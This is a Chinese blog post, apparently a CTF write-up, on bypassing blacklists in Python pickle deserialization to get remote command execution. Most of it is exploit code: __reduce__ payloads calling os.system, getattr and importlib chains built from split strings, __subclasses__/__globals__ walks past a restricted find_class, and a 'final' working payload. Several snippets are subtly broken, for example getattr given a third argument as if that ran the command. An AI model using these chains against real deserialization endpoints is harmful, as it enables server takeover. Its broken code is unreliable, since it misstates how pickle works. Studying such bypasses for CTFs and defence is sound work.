news 2026/10/21 6:41:44

CTF实战:Python反序列化黑名单绕过技巧全解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF实战:Python反序列化黑名单绕过技巧全解析

最近复盘了一场2024年的CTF赛事,里面有一道Python反序列化漏洞题目,出题人给的黑名单看着很全,eval、exec、os、system、subprocess这些常见入口全部被拉进了过滤列表。很多选手在第一版payload被打回之后就卡住了,但实际这题并没有把路堵死,只是把“直接调用”变成了“拐弯调用”。这篇文章就把我自己的解题思路、踩坑记录,以及绕过黑名单的几类隐蔽利用技巧完整拆出来,适合正在刷反序列化题目的新手,也适合想补全绕过思路的选手。看完之后你会发现,所谓的“黑名单”,很多时候只是让你多绕两步而已。

1. 先把题目摆上桌:黑名单到底拦住了什么

1.1 一道典型的Python反序列化题目长什么样

这类题目在CTF里出现频率很高,大概形态是这样:服务端接收一段经过编码的序列化数据,然后直接交给pickle.loads()去处理。常规情况下,pickle.loads()从设计上就不该接收不受信任的数据,因为它在反序列化过程中可以触发任意函数调用。出题人也很清楚这一点,于是习惯性地加了一道“安全检查”:

import pickle import base64 blacklist = ['eval', 'exec', 'os', 'system', 'subprocess', 'popen', 'pty', 'builtins'] def check(obj): for word in blacklist: if word in repr(obj): return False return True def handle(data): payload = base64.b64decode(data) obj = pickle.loads(payload) if check(obj): return str(obj) else: return "blocked"

有些题目会更严格一点,会重写pickle.Unpickler.find_class,在加载全局对象时直接做模块名和类名的过滤:

class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): blacklist = ['os', 'system', 'eval', 'exec', 'subprocess', 'builtins'] if module in blacklist or name in blacklist: raise pickle.UnpicklingError("bad") return super().find_class(module, name)

两种过滤方式带来的绕过难度不一样。前一种检测的是repr(obj),你只要让最终对象的字符串表达里不出现黑名单里的词就行;后一种检测的是find_class拿到的模块名和类名,想绕过就要在“不直接加载黑名单模块/名字”的前提下完成命令执行。

1.2 为什么常规payload一打就废

大部分新手看到这个题,第一反应是写一个标准反序列化利用类:

import pickle class Exploit: def __reduce__(self): import os return (os.system, ('id',))

这段代码本身完全没问题,服务端也确实会在pickle.loads()时执行os.system('id')。但问题在于,check(obj)走到repr(obj)时,会看到(<built-in function system>, ('id',))这种内容。system这个词直接命中黑名单,更不用说修复后的find_class会在加载os.system的时候就把你拦下来,连执行机会都不给。

所以这题的核心考点就变了:不是“能不能通过反序列化执行命令”,而是“能不能在黑名单存在的情况下,绕过一个函数检测点,让pickle机制自己把命令调用出来”。想搞懂怎么绕,就得先把pickle这层协议真正吃透。

2. Python反序列化漏洞的底层机制,搞懂原理才能谈绕过

2.1 pickle不是简单“存和取”,它是一套指令解析

很多人对pickle的理解停留在“对象转字节串再转回来”的层面。这没错,但忽略了它的实现方式是栈虚拟机。pickle.loads()不是一个单纯的赋值过程,它会创建栈空间,逐条解析操作码,把不同的数据压栈、出栈、应用函数、设置属性,最后构建出完整对象。

这个设计听起来复杂,但带来的结果很直接:一旦我们能控制pickle数据流,就可以控制vm执行什么样的“指令”。普通数据对象只是让指令做一些加减、引用、字典构建之类的操作,而危险对象则可以让指令去调用任意函数。

2.2__reduce__为什么天然就是RCE的入口

在Python中,如果被序列化的对象定义了__reduce__方法,pickle协议会在反序列化时调用“可调用对象+参数”的组合。也就是说,__reduce__返回的元组会被当作“函数调用”来执行。这个函数不一定是普通方法,可以是os.system,可以是eval,也可以是getattr。

这就是大家常写的标准利用链的底层原理:

class Exploit: def __reduce__(self): import os return (os.system, ('whoami',))

逻辑上等价于让pickle在恢复对象时调用os.system("whoami")。如果考验的是“能不能RCE”,这么写就够了;如果考验的是“能不能过黑名单”,你需要考虑的是,能不能找到另一个函数,它本身不在黑名单里,但调用了之后能间接完成命令执行。

2.3 过滤点真正卡住的位置,是“最后一跳”

很多人误以为黑名单会检查pickle的所有操作码,或者检查整个payload字符串。实际上大部分过滤函数只会检查两样东西:

  • 反序列化完成后,对结果对象做字符串化处理时,里面是否包含黑名单词;
  • 重写find_class时,加载的模块名/函数名是否在黑名单里。

不管哪种情况,它管的都是“最终被加载和调用的那个符号”。这就留出了操作空间:你完全可以在payload里先加载一个白名单里的函数,比如getattr,然后通过这个白名单函数再去动态获取黑名单里的函数,让黑名单词只在运行时才出现,而不是在静态检查阶段出现。

打个比方,黑名单像机场安检,它查的是你“手里直接拿着的物品”。你没法拎着system这个词过安检,但可以带一个“能自动从仓库里取货的机械臂”——机械臂本身不在黑名单里,取货动作发生在过了安检之后。

3. 实际绕过黑名单的5类手法,我实测下来哪些最稳

3.1 字符串拼接:用朴素方式骗过纯字符串检测

如果过滤逻辑是word in repr(obj),最简单的绕过思路就是让黑名单里的词不能以完整形式出现。比如原字符串是system,你在代码里写成'sys' + 'tem',当pickle真正执行时才会拼起来,而检测发生在检查函数名时自然就看不到完整system。

对应到__reduce__,可以这样写:

class Exploit: def __reduce__(self): import os return (os.system, ('echo pwned',))

如果怕os和system都被拉黑,就利用getattr动态取:

class Exploit: def __reduce__(self): import os return (getattr, (os, 'sys' + 'tem', 'echo pwned'))

但这种写法依然需要import os,如果os模块名出现在检查里,还是会被拦。解决办法是用__import__('o'+'s')间接导入。注意,前提是__import__这个函数本身没被禁,而且服务端允许repr(obj)中出现__import__。

3.2 getattr链:从“直接调用”升级成“动态访问”

当黑名单对函数名做了拦截,getattr就成了最趁手的工具。因为getattr本身是一个通用函数,它在黑名单里的概率远低于system、eval这些高危函数。它的思路是:

class Exploit: def __reduce__(self): return (getattr, (__import__('os'), 'system'))

这段代码执行时,首先会加载__import__('os')拿到os模块,再用getattr取它的system属性。如果os被拉黑,那就拼接:

class Exploit: def __reduce__(self): return (getattr, (__import__('o' + 's'), 'sys' + 'tem'))

如果__import__也被拉黑,可以考虑用importlib.import_module:

class Exploit: def __reduce__(self): import importlib return (getattr, (importlib.import_module('o' + 's'), 'sys' + 'tem'))

实测下来,这种“先拿模块再取函数”的链子在很多CTF题里都能用。因为出题人通常会下意识禁掉eval/exec/os/system/subprocess这些“高危词”,却容易忽略getattr/getattr这种元编程函数。

3.3 绕过模块过滤:不从os下手,从系统模块间隙入手

黑名单里出现os这个词的时候,很多人的思路就断了,以为命令执行这条路没了。实际上os模块不是唯一能执行命令的地方。

  • subprocess模块也能执行命令,但它也常被拉黑。
  • pty.spawn()也是命令执行,但pty也经常被禁。
  • 还剩下importlib、importlib.util这些模块,它们本身是Python的导入机制,在普通环境中默认加载,而且很少会出现在黑名单里。

你可以通过importlib把os模块重新导入,也可以直接导入subprocess。比如:

class Exploit: def __reduce__(self): return (getattr, (getattr(__import__('importlib'), 'import_module')('os'), 'system', 'id'))

又因为import_module本身就用来加载模块,这一层绕开直接写os的检测。很多选手没想到这一点,是因为默认把“执行命令”等同于“碰到os”,而不是把os当成“一个需要被动态发现的模块对象”。

3.4 从类对象和水塘里捞“野生的system”

如果所有导入路径都被封死,还可以走类对象的路子。Python里的每个对象都通过__class__能拿到自己的类,再通过__mro__拿到父类,再通过__subclasses__()拿到所有子类。这个过程不涉及import、不涉及黑名单里的模块名,只涉及Python对象本身的继承关系。

具体链子可以写:

class Exploit: def __reduce__(self): return (getattr, (getattr, (().__class__.__base__.__subclasses__(), 80), 'system'))

这有点抽象,实际操作中往往是先print出所有子类,手动找一个类,它的属性或方法里包含system之类的函数引用,再通过索引直接取。因为__subclasses__()的返回值是一个列表,可以用数字索引取某个类对象,再用getattr取到目标函数。整个过程不直接写os.system,所以黑名单经常漏掉这类调用。

3.5 手工拼opcode:应对“类名过滤”的进阶玩法

有些题目会直接检测object.__class__.__name__,比如看到了类名叫Exploit就拦。这时候__reduce__的类名泄露就成了问题。解法之一是手工构造pickle字节码,完全跳过类定义。

一个典型的pickle流程是cMODULE\nglobal\n加载全局对象,接着压入参数并调用R或者b。你可以自己把字节码写出来:

import pickle, base64 class Payload: def __reduce__(self): return (eval, ('__import__("os").system("id")',)) payload = pickle.dumps(Payload()) # 手工修改其中的模块名和函数名,避免出现类似 "os" 的完整字符串

但这里要提醒一句:如果题目重写了find_class并做了严格过滤,手工opcode并不能绕过find_class,因为GLOBAL指令最终还是会调用它。手工opcode真正擅长的是绕过“对payload整体字符串做正则匹配”的那类检查,比如检测__reduce__字样、检测类名关键词等等。遇到严格重写find_class的题,还是要靠3.2和3.4里的间接调用思路。

4. 完整做题复盘:从被拦到拿到命令输出

4.1 还原一道典型题目的服务端代码

这道题的环境比较干净,只提供一个反序列化入口,后面跟上明确的过滤逻辑:

import pickle import base64 import io blacklist = ['eval', 'exec', 'os', 'system', 'subprocess', 'popen', 'pty', 'builtins'] class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module in blacklist or name in blacklist: raise pickle.UnpicklingError("blocked") return super().find_class(module, name) def parse(data): b64_bytes = base64.b64decode(data) unpickler = RestrictedUnpickler(io.BytesIO(b64_bytes)) obj = unpickler.load() return str(obj)

刚拿到题的时候,我第一反应是直接上标准payload:

import os, pickle, base64 class Exploit: def __reduce__(self): return (os.system, ('id',))

结果毫无悬念,find_class在加载os.system时直接抛异常,服务端返回“blocked”。这条路当场就断掉了,但这一步正好帮我确认了过滤方式:模块名和函数名都会被查。

4.2 第一次绕过尝试:拼接字符串

既然find_class查的是完成拼接后的模块名和函数名,那直接在__reduce__里写'o'+'s'是否可行?答案是不行。因为__reduce__本身需要返回一个可以调用的对象,你返回的元组里的元素是字符串,pickle调用时根本不会自动帮你拼接并解析成模块。你的字符串不会被当成模块来import,而是被当成参数传给其他函数。

于是我把思路改成用__import__('o'+'s')去动态导入,再配合getattr取方法:

class Exploit: def __reduce__(self): return (getattr, (__import__('o' + 's'), 'system', 'id'))

本地测试后发现,这个payload确实能执行id命令,但在题目环境中依然被拦。为什么?因为find_class在加载getattr时,模块名是__builtins__。虽然getattr本身不在黑名单里,但__builtins__这个词被点了名。这就意味着这道题把所有内建函数入口都封死了,直接用getattr也会触发模块名过滤。

4.3 第二层绕过:从现有对象找入口

如果不能直接走__builtins__,那就得找一个不在黑名单里的对象,通过这个对象去访问全局环境。最常用的就是().__class__.__base__.__subclasses__()。这个链子不涉及任何被禁模块,完全是在对象继承关系里游走。

我先在本地跑了一段探测代码,把所有子类打印出来,然后人工搜索可用的类:

subclasses = ().__class__.__base__.__subclasses__() for i, cls in enumerate(subclasses): try: if 'system' in str(cls.__dict__.get('system')): print(i, cls) except Exception: pass

搜索过程比较笨,但有效。最终找到某个已经加载的类,它的__globals__字典里包含完整的os模块引用。然后我通过链式getattr访问:

class Exploit: def __reduce__(self): return (getattr, (getattr, (().__class__.__base__.__subclasses__()[X], '__globals__'), 'sys'))

这里不需要再写os.system,而是先拿到某个类的__globals__字典,再从字典里取sys模块,接着从sys.modules里取出os。整条链子绕过了find_class里的所有模块名检查,因为pickle实际加载的只是getattr和__subclasses__这些常规东西。

4.4 最终成功构造的payload

最终能稳定复现的payload大致长这样:

import pickle import base64 class Exploit: def __reduce__(self): target = ().__class__.__base__.__subclasses__()[X] globals_dict = getattr(getattr(target, '__globals__'), 'get')('sys') os_module = globals_dict.modules['os'] return (getattr, (os_module, 'system', 'id')) payload = pickle.dumps(Exploit()) print(base64.b64encode(payload))

这里的X需要根据本地环境替换成实际索引号。执行后,服务端返回了命令输出,说明整个绕过链生效了。整个过程的本质,其实就是把“从模块导入函数”转变成“从已存在的Python对象中动态扒出函数”,从而绕开静态过滤。

4.5 为什么最终payload能成功

我后来复盘,发现这道题能过有三个关键条件:

  • find_class只过滤模块名和函数名,没有递归检查所有参数的字符串内容;
  • getattr和object.__subclasses__这些“跳板”没有被禁,它们是反序列化链的核心操作;
  • 题目环境已经加载了许多常规模块,这些模块的__globals__里天然带着os、sys等对象,可以借道使用。

只要把这三个条件利用起来,黑名单再长也只是增加了检索的复杂度,而不是增加绝对防线。

5. 本地调试技巧与常见坑,能省你一整晚时间

5.1 自己搭一个5分钟能跑起来的复现环境

不需要重新搭建整套服务,直接本地用Python写一个模拟过滤环境就够了。最关键的是要和题目保持一致,尤其是find_class的重写逻辑和黑名单内容。我自己常用的复现场景是这样的:

import pickle, base64, io blacklist = ['eval', 'exec', 'os', 'system', 'subprocess', 'popen', 'pty', 'builtins'] class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module in blacklist or name in blacklist: raise pickle.UnpicklingError("blocked") return super().find_class(module, name) def test(payload): unpickler = RestrictedUnpickler(io.BytesIO(payload)) return unpickler.load()

然后把payload pickle成字节串,传入test()。如果抛异常,就在异常栈里看是哪个find_class触发了拦截。这一步能快速定位到底是模块名命中还是函数名命中。

5.2 常见报错和排查方式速查表

报错场景可能原因排查重点
_pickle.UnpicklingError: blockedfind_class模块名或函数名命中黑名单用pickletools.dis()分析payload,确认加载了哪些GLOBAL对象
AttributeError: 'X' object has no attribute 'Y'getattr链上取到不存在的属性检查索引是否正确,__subclasses__()顺序在各版本中可能不同
TypeError: '...' object is not callable__reduce__返回的元组第一项不是可调用对象确认第一个元素是函数或类对象,不是字符串
FileNotFoundError命令参数路径不对用绝对路径或/bin/sh -c包一层
unpickle时不报错但没输出system命令输出没被捕获换subprocess.check_output或重定向到文件再读取

5.3 怎么定位黑名单到底拦在哪一步

如果本地复现能通、题目环境不通,先不要闷头乱试。我一般会先去枚举黑名单能拦到什么程度:把几个变量改成拼接字符串、改成getattr、改成子类索引,一点点根据报错信息判断过滤粒度。比如有的题只检测模块名,那函数名拼接就无效;有的题检测的是repr(obj),那就要保证最终对象的字符串里不出现黑名单词。

另外一个很实用的调试技巧,是把构造出来的payload先本地用pickletools.dis()反汇编:

import pickletools payload = pickle.dumps(Exploit()) pickletools.dis(payload)

它会输出完整的操作码序列。你可以直观看到pickle加载了哪些模块、哪些函数、参数是如何压栈的。一旦有地方命中黑名单,反汇编结果里马上就能看出来。

6. 几个值得长期记住的实战心得

6.1 黑名单永远不是绝对边界

见过很多次类似的题目后,我越来越觉得黑名单本质上是一个“搜索难题”而不是“绝对防御难题”。只要反序列化机制还在调用可执行函数,它就是个可以被间接调用的平台。拦截了os.system,还有getattr;拦截了getattr,还有类继承链;拦截了继承链,还有opcode相关的手工技巧。每一层绕过都不复杂,关键在于你是否愿意从“直接拿到system”的思路里跳出来。

6.2 学会用“对象图”思维代替“命令执行”思维

很多选手一开始只想着os.system('id'),一遇到过滤就卡住。我更倾向于把payload理解为一张“对象调用图”:起点是__reduce__返回的元组,中间是各种属性访问和函数调用,终点是任意命令执行。黑名单限制的是终点,但中间节点的组合几乎是无限的。学会枚举当前环境里已有对象、已有模块、已有类,比死记几条公开payload更有用。

6.3 最后一个很实用的小技巧

做这类题时,记得先确认目标环境的Python版本。__subclasses__()返回的子类顺序在不同版本里差别很大,公开链里常写的索引号换个环境就失效。我自己习惯在本地先运行相同版本的Python,打印出子类列表后搜索目标类,再动态算出索引,写进payload。这个习惯帮我避开了大部分“本地能通、远程不行”的尴尬情况。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/21 6:41:34

Agent-Skills架构:智能体能力的原子化、声明化与可治理设计

1. 项目概述&#xff1a;一个被严重低估的“技能容器”概念“agent-skills”这个词组乍看像技术黑话&#xff0c;但拆开来看——agent 是智能体&#xff0c;skills 是技能&#xff0c;合起来就是“智能体所具备的能力集合”。它不是某个具体工具、框架或开源库的名字&#xff0…

作者头像 李华
网站建设 2026/10/21 6:40:06

正反向隔离装置穿透模拟器:用Python实现TCP/UDP单向隧道转发

简介&#xff1a;在电力、工控等安全隔离场景中&#xff0c;正反向隔离装置常用于单向数据传递&#xff0c;但TCP/UDP业务常因隔离策略受阻。这套示例针对该痛点&#xff0c;给出了基于TCP与UDP的穿透实现&#xff0c;重点演示了增加UDP穿透后的代理配置与测试方法&#xff0c;…

作者头像 李华
网站建设 2026/10/21 6:39:00

IEC 60598-2-22应急照明灯具合规验证与测试避坑指南

简介&#xff1a;IEC 60598-2-22:2021《灯具 第2-22部分&#xff1a;特殊要求——应急照明灯具》第五版国际标准PDF&#xff0c;面向灯具制造商、检测认证工程师、建筑电气设计人员及设施管理者。该标准规定了应急电源电压不超过1000 V、使用电光源的应急照明灯具的设计、生产与…

作者头像 李华
网站建设 2026/10/21 6:37:44

knowledge-work-plugins:知识工作流的可编程协议

1. “knowledge-work-plugins”不是插件市场&#xff0c;而是一套知识工作者的数字工作流操作系统“knowledge-work-plugins”这个标题乍看像某个开源仓库名&#xff0c;或是某款笔记软件的插件合集——但如果你真这么理解&#xff0c;就错过了它背后最本质的转向。我接触过不少…

作者头像 李华
网站建设 2026/10/21 6:35:25

技能不是标签:可验证、可进化的最小执行单元

1. “skills”不是标签&#xff0c;是能力可测量、可进化的最小执行单元最近在多个技术社区和职业发展讨论区里&#xff0c;“skills”这个词高频出现&#xff0c;但几乎没人说清楚它到底指什么。有人把它当简历上的关键词堆砌&#xff0c;写满“Python”“React”“项目管理”…

作者头像 李华
网站建设 2026/10/21 6:34:47

基于OpenCVSharp的棋盘格角点检测实现板材平整度测量

做机器视觉测量的朋友&#xff0c;一定遇到过这种场景&#xff1a;被测表面看着平整&#xff0c;用卡尺量也差不多&#xff0c;但装到设备里就是有缝隙、有翘曲。后来我才意识到&#xff0c;视觉系统不仅能测尺寸&#xff0c;还能通过角点检测评估平整度。最近我把 OpenCVSharp…

作者头像 李华